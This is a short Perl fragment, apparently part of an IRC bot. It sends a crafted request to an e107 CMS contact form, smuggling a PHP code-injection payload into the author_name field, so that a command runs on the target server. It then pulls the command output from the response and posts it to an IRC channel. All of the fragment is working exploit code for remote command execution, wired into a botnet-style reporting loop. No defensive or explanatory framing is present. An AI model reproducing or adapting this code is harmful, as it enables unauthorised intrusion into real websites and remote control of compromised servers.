$req->content("send-contactus=1&author_name=%5Bphp%5D".$cmd."%3Bdie%28%29%3B%5B%2Fphp%5D"); my $ua = LWP::UserAgent->new(agent => $uagent); $ua->timeout(7); my $res = $ua->request($req); my $data = $res->as_string; if ( $data =~ /ByroeNet(.*)/ ){ $mydata = $1; &msg("$chan","$e107logo4$mydata"); } else { &msg("$chan","$e107logo4No Output"); } }